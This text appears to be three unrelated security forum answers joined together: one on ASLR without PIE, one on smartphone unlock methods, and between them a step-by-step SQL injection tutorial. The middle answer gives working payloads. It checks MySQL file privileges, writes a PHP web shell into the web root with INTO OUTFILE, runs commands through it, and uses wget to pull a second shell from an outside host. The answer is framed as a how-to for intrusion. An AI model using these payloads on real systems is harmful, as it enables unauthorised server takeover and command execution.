Yes, if PIE is disabled. It is often said that ASLR's effectiveness is significantly reduced for applications which are not compiled with PIE (Position Independent Code) support. When PIE is not used, the program must rely on a fixed PLT, created during linking, to resolve the addresses of functions in shared libraries. When ASLR is used and PIE is enabled, code-reuse attacks in general are mitigated, though infoleaks are still so ubiquitous that ASLR can often be defeated with side-channel attacks, making it close to useless against local malicious code and limiting its effectiveness to attacks over the network and scriptless exploits. There are several other reasons ASLR without PIE is weaker and why less randomization is used, as explained in another answer.


Yes, You can write your shell onto the web server  with SQL statements without logging into the admin panel or any other control panel.

But for this you have to met certain requirements:

Your must have write privileges and a writable directory (where you have to upload your shell)
Root Path (i.e /var/www/website/)
Magic Quotes must be enabled

Check for write privileges

Now the question is how to check if you have write permissions? What you can simply do is read file_priv from the mysql.user table:

union select 1,2,3,concat(user(),0x3a,file_priv) from mysql.user--

If it says Y after your current user, then you are lucky and you have write privileges.

Create a file to receive the shell

Now it's time to make use of MySQL statements. We're going to use INTO OUTFILE, which writes your selected rows onto a file. The basic syntax is:

select column_name from table_name into outfile "filepath/file.extension

Something like this should create a file named shell.php in the website directory and write that PHP code inside it:

http://website.com/file.php?id=1 union select 1,"<?php system($_REQUEST['cmd'])?>",3,4 INTO OUTFILE " /var/www/website/public_html/shell.php"

Access the shell

Now we can access our shell by visiting http://website.com/shell.php?cmd=whoami. You can run any command after cmd=. You can now upload a ready-made shellcode to the server using curl or `wget (on Linux servers):

`http://website.com/shell.php?cmd=wget http://othersite.com/shell.txt -O code.php`

And then you can access your shell with:

http://website.com/code.php

Hope you understood everything :)


What is a good way to authenticate a user to a smart phone?

Look at the authentication methods for unlocking phones. On my galaxy S4, there are:

Swipe (no security)
Face Unlock (low security)
Face and Voice (low security)
Pattern (medium security)
PIN (medium to high)
Password (high)

From personal experience, the face unlock is kind of hard. You have to train it, and then you have to stick your face in the right light with nothing on it to unlock your phone. Also consider people with disabilities or injuries -- someone who has been burned in an accident will be locked out of their device! There has also been research in defeating the recognition engine with pictures, and it's pretty easy to do because anyone can see your face.

The password as you said is very hard to type. Tiny phone keyboards make capital letters very hard.

However, the two methods of authentication that I find the easiest from a user's standpoint are the PIN and the pattern. The pattern can be lifted from the screen oils (blech) so that weakens it.

A large, number only keyboard that has randomized the placement of numbers is a good compromise between usability and security. Place a minimum length on the pin (like 10) and you'll be able to have security comparable to a password.